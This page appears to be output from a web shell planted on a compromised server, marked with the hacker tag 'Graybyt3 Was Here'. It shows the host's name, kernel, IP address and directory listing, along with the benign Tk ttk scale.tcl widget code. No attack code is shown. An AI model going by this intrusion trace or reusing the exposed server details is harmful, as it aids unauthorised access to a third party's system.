Graybyt3 Was Here

Linux host1.absolutelystunningcenterpieces.com 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
Apache
69.167.136.200

File Name : scale.tcl

# scale.tcl - Copyright (C) 2004 Pat Thoyts <patthoyts@users.sourceforge.net>
#
# Bindings for the TScale widget

namespace eval ttk::scale {
    variable State
    array set State  {
	dragging 0
    }
}

bind TScale <ButtonPress-1>   { ttk::scale::Press %W %x %y }
bind TScale <B1-Motion>       { ttk::scale::Drag %W %x %y }
bind TScale <ButtonRelease-1> { ttk::scale::Release %W %x %y }

bind TScale <ButtonPress-2>   { ttk::scale::Jump %W %x %y }
bind TScale <B2-Motion>       { ttk::scale::Drag %W %x %y }
bind TScale <ButtonRelease-2> { ttk::scale::Release %W %x %y }

bind TScale <ButtonPress-3>   { ttk::scale::Jump %W %x %y }
bind TScale <B3-Motion>       { ttk::scale::Drag %W %x %y }
bind TScale <ButtonRelease-3> { ttk::scale::Release %W %x %y }

bind TScale <Left>            { ttk::scale::Increment %W -1 }
bind TScale <Up>              { ttk::scale::Increment %W -1 }
bind TScale <Right>           { ttk::scale::Increment %W 1 }
bind TScale <Down>            { ttk::scale::Increment %W 1 }
bind TScale <Control-Left>    { ttk::scale::Increment %W -10 }
bind TScale <Control-Up>      { ttk::scale::Increment %W -10 }
bind TScale <Control-Right>   { ttk::scale::Increment %W 10 }
bind TScale <Control-Down>    { ttk::scale::Increment %W 10 }
bind TScale <Home>            { %W set [%W cget -from] }
bind TScale <End>             { %W set [%W cget -to] }

proc ttk::scale::Press {w x y} {
    variable State
    set State(dragging) 0

switch -glob -- [$w identify $x $y] {
	*track -
        *trough {
            set inc [expr {([$w get $x $y] <= [$w get]) ? -1 : 1}]
            ttk::Repeatedly Increment $w $inc
        }
        *slider {
            set State(dragging) 1
            set State(initial) [$w get]
        }
    }
}

# scale::Jump -- ButtonPress-2/3 binding for scale acts like
#	Press except that clicking in the trough jumps to the
#	clicked position.
proc ttk::scale::Jump {w x y} {
    variable State
    set State(dragging) 0

switch -glob -- [$w identify $x $y] {
	*track -
        *trough {
            $w set [$w get $x $y]
            set State(dragging) 1
            set State(initial) [$w get]
        }
        *slider {
            Press $w $x $y
        }
    }
}

proc ttk::scale::Drag {w x y} {
    variable State
    if {$State(dragging)} {
	$w set [$w get $x $y]
    }
}

proc ttk::scale::Release {w x y} {
    variable State
    set State(dragging) 0
    ttk::CancelRepeat
}

proc ttk::scale::Increment {w delta} {
    if {![winfo exists $w]} return
    $w set [expr {[$w get] + $delta}]
}

System Information
*ReClick For Close
File : BlackDragon /wanderfuls/about.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2019-06-29 08:18:30
..	dir	-	root/root	0755	2019-06-29 08:18:30
altTheme.tcl	file	3.26 KB	root/root	0644	2015-11-20 08:41:50
aquaTheme.tcl	file	1.95 KB	root/root	0644	2015-11-20 08:41:50
button.tcl	file	2.91 KB	root/root	0644	2015-11-20 08:41:50
clamTheme.tcl	file	4.16 KB	root/root	0644	2015-11-20 08:41:50
classicTheme.tcl	file	3.44 KB	root/root	0644	2015-11-20 08:41:50
combobox.tcl	file	12.1 KB	root/root	0644	2015-11-20 08:41:50
cursors.tcl	file	3.91 KB	root/root	0644	2015-11-20 08:41:50
defaults.tcl	file	3.6 KB	root/root	0644	2015-11-20 08:41:50
entry.tcl	file	15.77 KB	root/root	0644	2015-11-20 08:41:50
fonts.tcl	file	5.44 KB	root/root	0644	2015-11-20 08:41:50
menubutton.tcl	file	4.77 KB	root/root	0644	2015-11-20 08:41:50
notebook.tcl	file	5.49 KB	root/root	0644	2015-11-20 08:41:50
panedwindow.tcl	file	1.88 KB	root/root	0644	2015-11-20 08:41:50
progress.tcl	file	1.06 KB	root/root	0644	2015-11-20 08:41:50
scale.tcl	file	2.49 KB	root/root	0644	2015-11-20 08:41:50
scrollbar.tcl	file	3.02 KB	root/root	0644	2015-11-20 08:41:50
sizegrip.tcl	file	2.34 KB	root/root	0644	2015-11-20 08:41:50
spinbox.tcl	file	4.16 KB	root/root	0644	2015-11-20 08:41:50
treeview.tcl	file	8.66 KB	root/root	0644	2015-11-20 08:41:50
ttk.tcl	file	4.44 KB	root/root	0644	2015-11-20 08:41:50
utils.tcl	file	8.36 KB	root/root	0644	2015-11-20 08:41:50
vistaTheme.tcl	file	9.13 KB	root/root	0644	2015-11-20 08:41:50
winTheme.tcl	file	2.58 KB	root/root	0644	2015-11-20 08:41:50
xpTheme.tcl	file	1.88 KB	root/root	0644	2015-11-20 08:41:50